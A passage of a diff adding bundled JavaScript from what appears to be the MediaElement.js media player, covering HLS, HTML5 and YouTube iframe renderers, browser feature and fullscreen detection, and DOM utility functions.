+									hlsPlayer.recoverMediaError();
+								} else if (!recoverSwapAudioCodecDate || now - recoverSwapAudioCodecDate > 3000) {
+									recoverSwapAudioCodecDate = new Date().getTime();
+									console.warn('Attempting to swap Audio Codec and recover from media error');
+									hlsPlayer.swapAudioCodec();
+									hlsPlayer.recoverMediaError();
+								} else {
+									var message = 'Cannot recover, last media error recovery failed';
+									mediaElement.generateError(message, node.src);
+									console.error(message);
+								}
+								break;
+							case 'networkError':
+								if (data.details === 'manifestLoadError') {
+									if (index < total && mediaFiles[index + 1] !== undefined) {
+										node.setSrc(mediaFiles[index++].src);
+										node.load();
+										node.play();
+									} else {
+										var _message = 'Network error';
+										mediaElement.generateError(_message, mediaFiles);
+										console.error(_message);
+									}
+								} else {
+									var _message2 = 'Network error';
+									mediaElement.generateError(_message2, mediaFiles);
+									console.error(_message2);
+								}
+								break;
+							default:
+								hlsPlayer.destroy();
+								break;
+						}
+					}
+				} else {
+					var _event2 = (0, _general.createEvent)(name, mediaElement);
+					_event2.data = data;
+					mediaElement.dispatchEvent(_event2);
+				}
+			};
+
+			var _loop = function _loop(eventType) {
+				if (hlsEvents.hasOwnProperty(eventType)) {
+					hlsPlayer.on(hlsEvents[eventType], function () {
+						for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {
+							args[_key] = arguments[_key];
+						}
+
+						return assignHlsEvents(hlsEvents[eventType], args);
+					});
+				}
+			};
+
+			for (var eventType in hlsEvents) {
+				_loop(eventType);
+			}
+		};
+
+		if (total > 0) {
+			for (; index < total; index++) {
+				if (_renderer.renderer.renderers[options.prefix].canPlayType(mediaFiles[index].type)) {
+					node.setAttribute('src', mediaFiles[index].src);
+					break;
+				}
+			}
+		}
+
+		if (preload !== 'auto' && !autoplay) {
+			node.addEventListener('play', function () {
+				if (hlsPlayer !== null) {
+					hlsPlayer.startLoad();
+				}
+			});
+
+			node.addEventListener('pause', function () {
+				if (hlsPlayer !== null) {
+					hlsPlayer.stopLoad();
+				}
+			});
+		}
+
+		node.setAttribute('id', id);
+
+		originalNode.parentNode.insertBefore(node, originalNode);
+		originalNode.autoplay = false;
+		originalNode.style.display = 'none';
+
+		node.setSize = function (width, height) {
+			node.style.width = width + 'px';
+			node.style.height = height + 'px';
+			return node;
+		};
+
+		node.hide = function () {
+			node.pause();
+			node.style.display = 'none';
+			return node;
+		};
+
+		node.show = function () {
+			node.style.display = '';
+			return node;
+		};
+
+		node.destroy = function () {
+			if (hlsPlayer !== null) {
+				hlsPlayer.stopLoad();
+				hlsPlayer.destroy();
+			}
+		};
+
+		var event = (0, _general.createEvent)('rendererready', node);
+		mediaElement.dispatchEvent(event);
+
+		mediaElement.promises.push(NativeHls.load({
+			options: options.hls,
+			id: id
+		}));
+
+		return node;
+	}
+};
+
+_media.typeChecks.push(function (url) {
+	return ~url.toLowerCase().indexOf('.m3u8') ? 'application/x-mpegURL' : null;
+});
+
+_renderer.renderer.add(HlsNativeRenderer);
+
+},{"16":16,"17":17,"18":18,"19":19,"3":3,"7":7,"8":8}],14:[function(_dereq_,module,exports){
+'use strict';
+
+var _window = _dereq_(3);
+
+var _window2 = _interopRequireDefault(_window);
+
+var _document = _dereq_(2);
+
+var _document2 = _interopRequireDefault(_document);
+
+var _mejs = _dereq_(7);
+
+var _mejs2 = _interopRequireDefault(_mejs);
+
+var _renderer = _dereq_(8);
+
+var _general = _dereq_(18);
+
+var _constants = _dereq_(16);
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
+
+var HtmlMediaElement = {
+	name: 'html5',
+	options: {
+		prefix: 'html5'
+	},
+
+	canPlayType: function canPlayType(type) {
+
+		var mediaElement = _document2.default.createElement('video');
+
+		if (_constants.IS_ANDROID && /\/mp(3|4)$/i.test(type) || ~['application/x-mpegurl', 'vnd.apple.mpegurl', 'audio/mpegurl', 'audio/hls', 'video/hls'].indexOf(type.toLowerCase()) && _constants.SUPPORTS_NATIVE_HLS) {
+			return 'yes';
+		} else if (mediaElement.canPlayType) {
+			return mediaElement.canPlayType(type.toLowerCase()).replace(/no/, '');
+		} else {
+			return '';
+		}
+	},
+
+	create: function create(mediaElement, options, mediaFiles) {
+
+		var id = mediaElement.id + '_' + options.prefix;
+		var isActive = false;
+
+		var node = null;
+
+		if (mediaElement.originalNode === undefined || mediaElement.originalNode === null) {
+			node = _document2.default.createElement('audio');
+			mediaElement.appendChild(node);
+		} else {
+			node = mediaElement.originalNode;
+		}
+
+		node.setAttribute('id', id);
+
+		var props = _mejs2.default.html5media.properties,
+		    assignGettersSetters = function assignGettersSetters(propName) {
+			var capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1);
+
+			node['get' + capName] = function () {
+				return node[propName];
+			};
+
+			node['set' + capName] = function (value) {
+				if (_mejs2.default.html5media.readOnlyProperties.indexOf(propName) === -1) {
+					node[propName] = value;
+				}
+			};
+		};
+
+		for (var i = 0, _total = props.length; i < _total; i++) {
+			assignGettersSetters(props[i]);
+		}
+
+		var events = _mejs2.default.html5media.events.concat(['click', 'mouseover', 'mouseout']),
+		    assignEvents = function assignEvents(eventName) {
+			node.addEventListener(eventName, function (e) {
+				if (isActive) {
+					var _event = (0, _general.createEvent)(e.type, e.target);
+					mediaElement.dispatchEvent(_event);
+				}
+			});
+		};
+
+		for (var _i = 0, _total2 = events.length; _i < _total2; _i++) {
+			assignEvents(events[_i]);
+		}
+
+		node.setSize = function (width, height) {
+			node.style.width = width + 'px';
+			node.style.height = height + 'px';
+			return node;
+		};
+
+		node.hide = function () {
+			isActive = false;
+			node.style.display = 'none';
+
+			return node;
+		};
+
+		node.show = function () {
+			isActive = true;
+			node.style.display = '';
+
+			return node;
+		};
+
+		var index = 0,
+		    total = mediaFiles.length;
+		if (total > 0) {
+			for (; index < total; index++) {
+				if (_renderer.renderer.renderers[options.prefix].canPlayType(mediaFiles[index].type)) {
+					node.setAttribute('src', mediaFiles[index].src);
+					break;
+				}
+			}
+		}
+
+		node.addEventListener('error', function (e) {
+			if (e.target.error.code === 4 && isActive) {
+				if (index < total && mediaFiles[index + 1] !== undefined) {
+					node.src = mediaFiles[index++].src;
+					node.load();
+					node.play();
+				} else {
+					mediaElement.generateError('Media error: Format(s) not supported or source(s) not found', mediaFiles);
+				}
+			}
+		});
+
+		var event = (0, _general.createEvent)('rendererready', node);
+		mediaElement.dispatchEvent(event);
+
+		return node;
+	}
+};
+
+_window2.default.HtmlMediaElement = _mejs2.default.HtmlMediaElement = HtmlMediaElement;
+
+_renderer.renderer.add(HtmlMediaElement);
+
+},{"16":16,"18":18,"2":2,"3":3,"7":7,"8":8}],15:[function(_dereq_,module,exports){
+'use strict';
+
+var _window = _dereq_(3);
+
+var _window2 = _interopRequireDefault(_window);
+
+var _document = _dereq_(2);
+
+var _document2 = _interopRequireDefault(_document);
+
+var _mejs = _dereq_(7);
+
+var _mejs2 = _interopRequireDefault(_mejs);
+
+var _renderer = _dereq_(8);
+
+var _general = _dereq_(18);
+
+var _media = _dereq_(19);
+
+var _dom = _dereq_(17);
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
+
+var YouTubeApi = {
+	isIframeStarted: false,
+
+	isIframeLoaded: false,
+
+	iframeQueue: [],
+
+	enqueueIframe: function enqueueIframe(settings) {
+		YouTubeApi.isLoaded = typeof YT !== 'undefined' && YT.loaded;
+
+		if (YouTubeApi.isLoaded) {
+			YouTubeApi.createIframe(settings);
+		} else {
+			YouTubeApi.loadIframeApi();
+			YouTubeApi.iframeQueue.push(settings);
+		}
+	},
+
+	loadIframeApi: function loadIframeApi() {
+		if (!YouTubeApi.isIframeStarted) {
+			(0, _dom.loadScript)('https://www.youtube.com/player_api');
+			YouTubeApi.isIframeStarted = true;
+		}
+	},
+
+	iFrameReady: function iFrameReady() {
+
+		YouTubeApi.isLoaded = true;
+		YouTubeApi.isIframeLoaded = true;
+
+		while (YouTubeApi.iframeQueue.length > 0) {
+			var settings = YouTubeApi.iframeQueue.pop();
+			YouTubeApi.createIframe(settings);
+		}
+	},
+
+	createIframe: function createIframe(settings) {
+		return new YT.Player(settings.containerId, settings);
+	},
+
+	getYouTubeId: function getYouTubeId(url) {
+
+		var youTubeId = '';
+
+		if (url.indexOf('?') > 0) {
+			youTubeId = YouTubeApi.getYouTubeIdFromParam(url);
+
+			if (youTubeId === '') {
+				youTubeId = YouTubeApi.getYouTubeIdFromUrl(url);
+			}
+		} else {
+			youTubeId = YouTubeApi.getYouTubeIdFromUrl(url);
+		}
+
+		var id = youTubeId.substring(youTubeId.lastIndexOf('/') + 1);
+		youTubeId = id.split('?');
+		return youTubeId[0];
+	},
+
+	getYouTubeIdFromParam: function getYouTubeIdFromParam(url) {
+
+		if (url === undefined || url === null || !url.trim().length) {
+			return null;
+		}
+
+		var parts = url.split('?'),
+		    parameters = parts[1].split('&');
+
+		var youTubeId = '';
+
+		for (var i = 0, total = parameters.length; i < total; i++) {
+			var paramParts = parameters[i].split('=');
+			if (paramParts[0] === 'v') {
+				youTubeId = paramParts[1];
+				break;
+			}
+		}
+
+		return youTubeId;
+	},
+
+	getYouTubeIdFromUrl: function getYouTubeIdFromUrl(url) {
+
+		if (url === undefined || url === null || !url.trim().length) {
+			return null;
+		}
+
+		var parts = url.split('?');
+		url = parts[0];
+		return url.substring(url.lastIndexOf('/') + 1);
+	},
+
+	getYouTubeNoCookieUrl: function getYouTubeNoCookieUrl(url) {
+		if (url === undefined || url === null || !url.trim().length || url.indexOf('//www.youtube') === -1) {
+			return url;
+		}
+
+		var parts = url.split('/');
+		parts[2] = parts[2].replace('.com', '-nocookie.com');
+		return parts.join('/');
+	}
+};
+
+var YouTubeIframeRenderer = {
+	name: 'youtube_iframe',
+
+	options: {
+		prefix: 'youtube_iframe',
+
+		youtube: {
+			autoplay: 0,
+			controls: 0,
+			disablekb: 1,
+			end: 0,
+			loop: 0,
+			modestbranding: 0,
+			playsinline: 0,
+			rel: 0,
+			showinfo: 0,
+			start: 0,
+			iv_load_policy: 3,
+
+			nocookie: false,
+
+			imageQuality: null
+		}
+	},
+
+	canPlayType: function canPlayType(type) {
+		return ~['video/youtube', 'video/x-youtube'].indexOf(type.toLowerCase());
+	},
+
+	create: function create(mediaElement, options, mediaFiles) {
+
+		var youtube = {},
+		    apiStack = [],
+		    readyState = 4;
+
+		var youTubeApi = null,
+		    paused = true,
+		    ended = false,
+		    youTubeIframe = null,
+		    volume = 1;
+
+		youtube.options = options;
+		youtube.id = mediaElement.id + '_' + options.prefix;
+		youtube.mediaElement = mediaElement;
+
+		var props = _mejs2.default.html5media.properties,
+		    assignGettersSetters = function assignGettersSetters(propName) {
+
+			var capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1);
+
+			youtube['get' + capName] = function () {
+				if (youTubeApi !== null) {
+					var value = null;
+
+					switch (propName) {
+						case 'currentTime':
+							return youTubeApi.getCurrentTime();
+						case 'duration':
+							return youTubeApi.getDuration();
+						case 'volume':
+							volume = youTubeApi.getVolume() / 100;
+							return volume;
+						case 'paused':
+							return paused;
+						case 'ended':
+							return ended;
+						case 'muted':
+							return youTubeApi.isMuted();
+						case 'buffered':
+							var percentLoaded = youTubeApi.getVideoLoadedFraction(),
+							    duration = youTubeApi.getDuration();
+							return {
+								start: function start() {
+									return 0;
+								},
+								end: function end() {
+									return percentLoaded * duration;
+								},
+								length: 1
+							};
+						case 'src':
+							return youTubeApi.getVideoUrl();
+						case 'readyState':
+							return readyState;
+					}
+
+					return value;
+				} else {
+					return null;
+				}
+			};
+
+			youtube['set' + capName] = function (value) {
+				if (youTubeApi !== null) {
+					switch (propName) {
+						case 'src':
+							var url = typeof value === 'string' ? value : value[0].src,
+							    _videoId = YouTubeApi.getYouTubeId(url);
+
+							if (mediaElement.originalNode.autoplay) {
+								youTubeApi.loadVideoById(_videoId);
+							} else {
+								youTubeApi.cueVideoById(_videoId);
+							}
+							break;
+						case 'currentTime':
+							youTubeApi.seekTo(value);
+							break;
+						case 'muted':
+							if (value) {
+								youTubeApi.mute();
+							} else {
+								youTubeApi.unMute();
+							}
+							setTimeout(function () {
+								var event = (0, _general.createEvent)('volumechange', youtube);
+								mediaElement.dispatchEvent(event);
+							}, 50);
+							break;
+						case 'volume':
+							volume = value;
+							youTubeApi.setVolume(value * 100);
+							setTimeout(function () {
+								var event = (0, _general.createEvent)('volumechange', youtube);
+								mediaElement.dispatchEvent(event);
+							}, 50);
+							break;
+						case 'readyState':
+							var event = (0, _general.createEvent)('canplay', youtube);
+							mediaElement.dispatchEvent(event);
+							break;
+						default:
+							
+							break;
+					}
+				} else {
+					apiStack.push({ type: 'set', propName: propName, value: value });
+				}
+			};
+		};
+
+		for (var i = 0, total = props.length; i < total; i++) {
+			assignGettersSetters(props[i]);
+		}
+
+		var methods = _mejs2.default.html5media.methods,
+		    assignMethods = function assignMethods(methodName) {
+			youtube[methodName] = function () {
+				if (youTubeApi !== null) {
+					switch (methodName) {
+						case 'play':
+							paused = false;
+							return youTubeApi.playVideo();
+						case 'pause':
+							paused = true;
+							return youTubeApi.pauseVideo();
+						case 'load':
+							return null;
+					}
+				} else {
+					apiStack.push({ type: 'call', methodName: methodName });
+				}
+			};
+		};
+
+		for (var _i = 0, _total = methods.length; _i < _total; _i++) {
+			assignMethods(methods[_i]);
+		}
+
+		var youtubeContainer = _document2.default.createElement('div');
+		youtubeContainer.id = youtube.id;
+
+		if (youtube.options.youtube.nocookie) {
+			mediaElement.originalNode.src = YouTubeApi.getYouTubeNoCookieUrl(mediaFiles[0].src);
+		}
+
+		mediaElement.originalNode.parentNode.insertBefore(youtubeContainer, mediaElement.originalNode);
+		mediaElement.originalNode.style.display = 'none';
+
+		var isAudio = mediaElement.originalNode.tagName.toLowerCase() === 'audio',
+		    height = isAudio ? '1' : mediaElement.originalNode.height,
+		    width = isAudio ? '1' : mediaElement.originalNode.width,
+		    videoId = YouTubeApi.getYouTubeId(mediaFiles[0].src),
+		    youtubeSettings = {
+			id: youtube.id,
+			containerId: youtubeContainer.id,
+			videoId: videoId,
+			height: height,
+			width: width,
+			playerVars: Object.assign({
+				controls: 0,
+				rel: 0,
+				disablekb: 1,
+				showinfo: 0,
+				modestbranding: 0,
+				html5: 1,
+				iv_load_policy: 3
+			}, youtube.options.youtube),
+			origin: _window2.default.location.host,
+			events: {
+				onReady: function onReady(e) {
+					mediaElement.youTubeApi = youTubeApi = e.target;
+					mediaElement.youTubeState = {
+						paused: true,
+						ended: false
+					};
+
+					if (apiStack.length) {
+						for (var _i2 = 0, _total2 = apiStack.length; _i2 < _total2; _i2++) {
+
+							var stackItem = apiStack[_i2];
+
+							if (stackItem.type === 'set') {
+								var propName = stackItem.propName,
+								    capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1);
+
+								youtube['set' + capName](stackItem.value);
+							} else if (stackItem.type === 'call') {
+								youtube[stackItem.methodName]();
+							}
+						}
+					}
+
+					youTubeIframe = youTubeApi.getIframe();
+
+					if (mediaElement.originalNode.muted) {
+						youTubeApi.mute();
+					}
+
+					var events = ['mouseover', 'mouseout'],
+					    assignEvents = function assignEvents(e) {
+						var newEvent = (0, _general.createEvent)(e.type, youtube);
+						mediaElement.dispatchEvent(newEvent);
+					};
+
+					for (var _i3 = 0, _total3 = events.length; _i3 < _total3; _i3++) {
+						youTubeIframe.addEventListener(events[_i3], assignEvents, false);
+					}
+
+					var initEvents = ['rendererready', 'loadedmetadata', 'loadeddata', 'canplay'];
+
+					for (var _i4 = 0, _total4 = initEvents.length; _i4 < _total4; _i4++) {
+						var event = (0, _general.createEvent)(initEvents[_i4], youtube);
+						mediaElement.dispatchEvent(event);
+					}
+				},
+				onStateChange: function onStateChange(e) {
+					var events = [];
+
+					switch (e.data) {
+						case -1:
+							events = ['loadedmetadata'];
+							paused = true;
+							ended = false;
+							break;
+						case 0:
+							events = ['ended'];
+							paused = false;
+							ended = !youtube.options.youtube.loop;
+							if (!youtube.options.youtube.loop) {
+								youtube.stopInterval();
+							}
+							break;
+						case 1:
+							events = ['play', 'playing'];
+							paused = false;
+							ended = false;
+							youtube.startInterval();
+							break;
+						case 2:
+							events = ['pause'];
+							paused = true;
+							ended = false;
+							youtube.stopInterval();
+							break;
+						case 3:
+							events = ['progress'];
+							ended = false;
+							break;
+						case 5:
+							events = ['loadeddata', 'loadedmetadata', 'canplay'];
+							paused = true;
+							ended = false;
+							break;
+					}
+
+					for (var _i5 = 0, _total5 = events.length; _i5 < _total5; _i5++) {
+						var event = (0, _general.createEvent)(events[_i5], youtube);
+						mediaElement.dispatchEvent(event);
+					}
+				},
+				onError: function onError(e) {
+					var event = (0, _general.createEvent)('error', youtube);
+					event.data = e.data;
+					mediaElement.dispatchEvent(event);
+				}
+			}
+		};
+
+		if (isAudio || mediaElement.originalNode.hasAttribute('playsinline')) {
+			youtubeSettings.playerVars.playsinline = 1;
+		}
+
+		if (mediaElement.originalNode.controls) {
+			youtubeSettings.playerVars.controls = 1;
+		}
+		if (mediaElement.originalNode.autoplay) {
+			youtubeSettings.playerVars.autoplay = 1;
+		}
+		if (mediaElement.originalNode.loop) {
+			youtubeSettings.playerVars.loop = 1;
+		}
+
+		YouTubeApi.enqueueIframe(youtubeSettings);
+
+		youtube.onEvent = function (eventName, player, _youTubeState) {
+			if (_youTubeState !== null && _youTubeState !== undefined) {
+				mediaElement.youTubeState = _youTubeState;
+			}
+		};
+
+		youtube.setSize = function (width, height) {
+			if (youTubeApi !== null) {
+				youTubeApi.setSize(width, height);
+			}
+		};
+		youtube.hide = function () {
+			youtube.stopInterval();
+			youtube.pause();
+			if (youTubeIframe) {
+				youTubeIframe.style.display = 'none';
+			}
+		};
+		youtube.show = function () {
+			if (youTubeIframe) {
+				youTubeIframe.style.display = '';
+			}
+		};
+		youtube.destroy = function () {
+			youTubeApi.destroy();
+		};
+		youtube.interval = null;
+
+		youtube.startInterval = function () {
+			youtube.interval = setInterval(function () {
+				var event = (0, _general.createEvent)('timeupdate', youtube);
+				mediaElement.dispatchEvent(event);
+			}, 250);
+		};
+		youtube.stopInterval = function () {
+			if (youtube.interval) {
+				clearInterval(youtube.interval);
+			}
+		};
+		youtube.getPosterUrl = function () {
+			var quality = options.youtube.imageQuality,
+			    resolutions = ['default', 'hqdefault', 'mqdefault', 'sddefault', 'maxresdefault'],
+			    id = YouTubeApi.getYouTubeId(mediaElement.originalNode.src);
+			return quality && resolutions.indexOf(quality) > -1 && id ? 'https://img.youtube.com/vi/' + id + '/' + quality + '.jpg' : '';
+		};
+
+		return youtube;
+	}
+};
+
+_window2.default.onYouTubePlayerAPIReady = function () {
+	YouTubeApi.iFrameReady();
+};
+
+_media.typeChecks.push(function (url) {
+	return (/\/\/(www\.youtube|youtu\.?be)/i.test(url) ? 'video/x-youtube' : null
+	);
+});
+
+_renderer.renderer.add(YouTubeIframeRenderer);
+
+},{"17":17,"18":18,"19":19,"2":2,"3":3,"7":7,"8":8}],16:[function(_dereq_,module,exports){
+'use strict';
+
+Object.defineProperty(exports, "__esModule", {
+	value: true
+});
+exports.cancelFullScreen = exports.requestFullScreen = exports.isFullScreen = exports.FULLSCREEN_EVENT_NAME = exports.HAS_NATIVE_FULLSCREEN_ENABLED = exports.HAS_TRUE_NATIVE_FULLSCREEN = exports.HAS_IOS_FULLSCREEN = exports.HAS_MS_NATIVE_FULLSCREEN = exports.HAS_MOZ_NATIVE_FULLSCREEN = exports.HAS_WEBKIT_NATIVE_FULLSCREEN = exports.HAS_NATIVE_FULLSCREEN = exports.SUPPORTS_NATIVE_HLS = exports.SUPPORT_PASSIVE_EVENT = exports.SUPPORT_POINTER_EVENTS = exports.HAS_MSE = exports.IS_STOCK_ANDROID = exports.IS_SAFARI = exports.IS_FIREFOX = exports.IS_CHROME = exports.IS_EDGE = exports.IS_IE = exports.IS_ANDROID = exports.IS_IOS = exports.IS_IPOD = exports.IS_IPHONE = exports.IS_IPAD = exports.UA = exports.NAV = undefined;
+
+var _window = _dereq_(3);
+
+var _window2 = _interopRequireDefault(_window);
+
+var _document = _dereq_(2);
+
+var _document2 = _interopRequireDefault(_document);
+
+var _mejs = _dereq_(7);
+
+var _mejs2 = _interopRequireDefault(_mejs);
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
+
+var NAV = exports.NAV = _window2.default.navigator;
+var UA = exports.UA = NAV.userAgent.toLowerCase();
+var IS_IPAD = exports.IS_IPAD = /ipad/i.test(UA) && !_window2.default.MSStream;
+var IS_IPHONE = exports.IS_IPHONE = /iphone/i.test(UA) && !_window2.default.MSStream;
+var IS_IPOD = exports.IS_IPOD = /ipod/i.test(UA) && !_window2.default.MSStream;
+var IS_IOS = exports.IS_IOS = /ipad|iphone|ipod/i.test(UA) && !_window2.default.MSStream;
+var IS_ANDROID = exports.IS_ANDROID = /android/i.test(UA);
+var IS_IE = exports.IS_IE = /(trident|microsoft)/i.test(NAV.appName);
+var IS_EDGE = exports.IS_EDGE = 'msLaunchUri' in NAV && !('documentMode' in _document2.default);
+var IS_CHROME = exports.IS_CHROME = /chrome/i.test(UA);
+var IS_FIREFOX = exports.IS_FIREFOX = /firefox/i.test(UA);
+var IS_SAFARI = exports.IS_SAFARI = /safari/i.test(UA) && !IS_CHROME;
+var IS_STOCK_ANDROID = exports.IS_STOCK_ANDROID = /^mozilla\/\d+\.\d+\s\(linux;\su;/i.test(UA);
+var HAS_MSE = exports.HAS_MSE = 'MediaSource' in _window2.default;
+var SUPPORT_POINTER_EVENTS = exports.SUPPORT_POINTER_EVENTS = function () {
+	var element = _document2.default.createElement('x'),
+	    documentElement = _document2.default.documentElement,
+	    getComputedStyle = _window2.default.getComputedStyle;
+
+	if (!('pointerEvents' in element.style)) {
+		return false;
+	}
+
+	element.style.pointerEvents = 'auto';
+	element.style.pointerEvents = 'x';
+	documentElement.appendChild(element);
+	var supports = getComputedStyle && getComputedStyle(element, '').pointerEvents === 'auto';
+	element.remove();
+	return !!supports;
+}();
+
+var SUPPORT_PASSIVE_EVENT = exports.SUPPORT_PASSIVE_EVENT = function () {
+	var supportsPassive = false;
+	try {
+		var opts = Object.defineProperty({}, 'passive', {
+			get: function get() {
+				supportsPassive = true;
+			}
+		});
+		_window2.default.addEventListener('test', null, opts);
+	} catch (e) {}
+
+	return supportsPassive;
+}();
+
+var html5Elements = ['source', 'track', 'audio', 'video'];
+var video = void 0;
+
+for (var i = 0, total = html5Elements.length; i < total; i++) {
+	video = _document2.default.createElement(html5Elements[i]);
+}
+
+var SUPPORTS_NATIVE_HLS = exports.SUPPORTS_NATIVE_HLS = IS_SAFARI || IS_ANDROID && (IS_CHROME || IS_STOCK_ANDROID) || IS_IE && /edge/i.test(UA);
+
+var hasiOSFullScreen = video.webkitEnterFullscreen !== undefined;
+
+var hasNativeFullscreen = video.requestFullscreen !== undefined;
+
+if (hasiOSFullScreen && /mac os x 10_5/i.test(UA)) {
+	hasNativeFullscreen = false;
+	hasiOSFullScreen = false;
+}
+
+var hasWebkitNativeFullScreen = video.webkitRequestFullScreen !== undefined;
+var hasMozNativeFullScreen = video.mozRequestFullScreen !== undefined;
+var hasMsNativeFullScreen = video.msRequestFullscreen !== undefined;
+var hasTrueNativeFullScreen = hasWebkitNativeFullScreen || hasMozNativeFullScreen || hasMsNativeFullScreen;
+var nativeFullScreenEnabled = hasTrueNativeFullScreen;
+var fullScreenEventName = '';
+var isFullScreen = void 0,
+    requestFullScreen = void 0,
+    cancelFullScreen = void 0;
+
+if (hasMozNativeFullScreen) {
+	nativeFullScreenEnabled = _document2.default.mozFullScreenEnabled;
+} else if (hasMsNativeFullScreen) {
+	nativeFullScreenEnabled = _document2.default.msFullscreenEnabled;
+}
+
+if (IS_CHROME) {
+	hasiOSFullScreen = false;
+}
+
+if (hasTrueNativeFullScreen) {
+	if (hasWebkitNativeFullScreen) {
+		fullScreenEventName = 'webkitfullscreenchange';
+	} else if (hasMozNativeFullScreen) {
+		fullScreenEventName = 'mozfullscreenchange';
+	} else if (hasMsNativeFullScreen) {
+		fullScreenEventName = 'MSFullscreenChange';
+	}
+
+	exports.isFullScreen = isFullScreen = function isFullScreen() {
+		if (hasMozNativeFullScreen) {
+			return _document2.default.mozFullScreen;
+		} else if (hasWebkitNativeFullScreen) {
+			return _document2.default.webkitIsFullScreen;
+		} else if (hasMsNativeFullScreen) {
+			return _document2.default.msFullscreenElement !== null;
+		}
+	};
+
+	exports.requestFullScreen = requestFullScreen = function requestFullScreen(el) {
+		if (hasWebkitNativeFullScreen) {
+			el.webkitRequestFullScreen();
+		} else if (hasMozNativeFullScreen) {
+			el.mozRequestFullScreen();
+		} else if (hasMsNativeFullScreen) {
+			el.msRequestFullscreen();
+		}
+	};
+
+	exports.cancelFullScreen = cancelFullScreen = function cancelFullScreen() {
+		if (hasWebkitNativeFullScreen) {
+			_document2.default.webkitCancelFullScreen();
+		} else if (hasMozNativeFullScreen) {
+			_document2.default.mozCancelFullScreen();
+		} else if (hasMsNativeFullScreen) {
+			_document2.default.msExitFullscreen();
+		}
+	};
+}
+
+var HAS_NATIVE_FULLSCREEN = exports.HAS_NATIVE_FULLSCREEN = hasNativeFullscreen;
+var HAS_WEBKIT_NATIVE_FULLSCREEN = exports.HAS_WEBKIT_NATIVE_FULLSCREEN = hasWebkitNativeFullScreen;
+var HAS_MOZ_NATIVE_FULLSCREEN = exports.HAS_MOZ_NATIVE_FULLSCREEN = hasMozNativeFullScreen;
+var HAS_MS_NATIVE_FULLSCREEN = exports.HAS_MS_NATIVE_FULLSCREEN = hasMsNativeFullScreen;
+var HAS_IOS_FULLSCREEN = exports.HAS_IOS_FULLSCREEN = hasiOSFullScreen;
+var HAS_TRUE_NATIVE_FULLSCREEN = exports.HAS_TRUE_NATIVE_FULLSCREEN = hasTrueNativeFullScreen;
+var HAS_NATIVE_FULLSCREEN_ENABLED = exports.HAS_NATIVE_FULLSCREEN_ENABLED = nativeFullScreenEnabled;
+var FULLSCREEN_EVENT_NAME = exports.FULLSCREEN_EVENT_NAME = fullScreenEventName;
+exports.isFullScreen = isFullScreen;
+exports.requestFullScreen = requestFullScreen;
+exports.cancelFullScreen = cancelFullScreen;
+
+
+_mejs2.default.Features = _mejs2.default.Features || {};
+_mejs2.default.Features.isiPad = IS_IPAD;
+_mejs2.default.Features.isiPod = IS_IPOD;
+_mejs2.default.Features.isiPhone = IS_IPHONE;
+_mejs2.default.Features.isiOS = _mejs2.default.Features.isiPhone || _mejs2.default.Features.isiPad;
+_mejs2.default.Features.isAndroid = IS_ANDROID;
+_mejs2.default.Features.isIE = IS_IE;
+_mejs2.default.Features.isEdge = IS_EDGE;
+_mejs2.default.Features.isChrome = IS_CHROME;
+_mejs2.default.Features.isFirefox = IS_FIREFOX;
+_mejs2.default.Features.isSafari = IS_SAFARI;
+_mejs2.default.Features.isStockAndroid = IS_STOCK_ANDROID;
+_mejs2.default.Features.hasMSE = HAS_MSE;
+_mejs2.default.Features.supportsNativeHLS = SUPPORTS_NATIVE_HLS;
+_mejs2.default.Features.supportsPointerEvents = SUPPORT_POINTER_EVENTS;
+_mejs2.default.Features.supportsPassiveEvent = SUPPORT_PASSIVE_EVENT;
+_mejs2.default.Features.hasiOSFullScreen = HAS_IOS_FULLSCREEN;
+_mejs2.default.Features.hasNativeFullscreen = HAS_NATIVE_FULLSCREEN;
+_mejs2.default.Features.hasWebkitNativeFullScreen = HAS_WEBKIT_NATIVE_FULLSCREEN;
+_mejs2.default.Features.hasMozNativeFullScreen = HAS_MOZ_NATIVE_FULLSCREEN;
+_mejs2.default.Features.hasMsNativeFullScreen = HAS_MS_NATIVE_FULLSCREEN;
+_mejs2.default.Features.hasTrueNativeFullScreen = HAS_TRUE_NATIVE_FULLSCREEN;
+_mejs2.default.Features.nativeFullScreenEnabled = HAS_NATIVE_FULLSCREEN_ENABLED;
+_mejs2.default.Features.fullScreenEventName = FULLSCREEN_EVENT_NAME;
+_mejs2.default.Features.isFullScreen = isFullScreen;
+_mejs2.default.Features.requestFullScreen = requestFullScreen;
+_mejs2.default.Features.cancelFullScreen = cancelFullScreen;
+
+},{"2":2,"3":3,"7":7}],17:[function(_dereq_,module,exports){
+'use strict';
+
+Object.defineProperty(exports, "__esModule", {
+	value: true
+});
+exports.removeClass = exports.addClass = exports.hasClass = undefined;
+exports.loadScript = loadScript;
+exports.offset = offset;
+exports.toggleClass = toggleClass;
+exports.fadeOut = fadeOut;
+exports.fadeIn = fadeIn;
+exports.siblings = siblings;
+exports.visible = visible;
+exports.ajax = ajax;
+
+var _window = _dereq_(3);
+
+var _window2 = _interopRequireDefault(_window);
+
+var _document = _dereq_(2);
+
+var _document2 = _interopRequireDefault(_document);
+
+var _mejs = _dereq_(7);
+
+var _mejs2 = _interopRequireDefault(_mejs);
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
+
+function loadScript(url) {
+	return new Promise(function (resolve, reject) {
+		var script = _document2.default.createElement('script');
+		script.src = url;
+		script.async = true;
+		script.onload = function () {
+			script.remove();
+			resolve();
+		};
+		script.onerror = function () {
+			script.remove();
+			reject();
+		};
+		_document2.default.head.appendChild(script);
+	});
+}
+
+function offset(el) {
+	var rect = el.getBoundingClientRect(),
+	    scrollLeft = _window2.default.pageXOffset || _document2.default.documentElement.scrollLeft,
+	    scrollTop = _window2.default.pageYOffset || _document2.default.documentElement.scrollTop;
+	return { top: rect.top + scrollTop, left: rect.left + scrollLeft };
+}
+
+var hasClassMethod = void 0,
+    addClassMethod = void 0,
+    removeClassMethod = void 0;
+
+if ('classList' in _document2.default.documentElement) {
+	hasClassMethod = function hasClassMethod(el, className) {
+		return el.classList !== undefined && el.classList.contains(className);
+	};
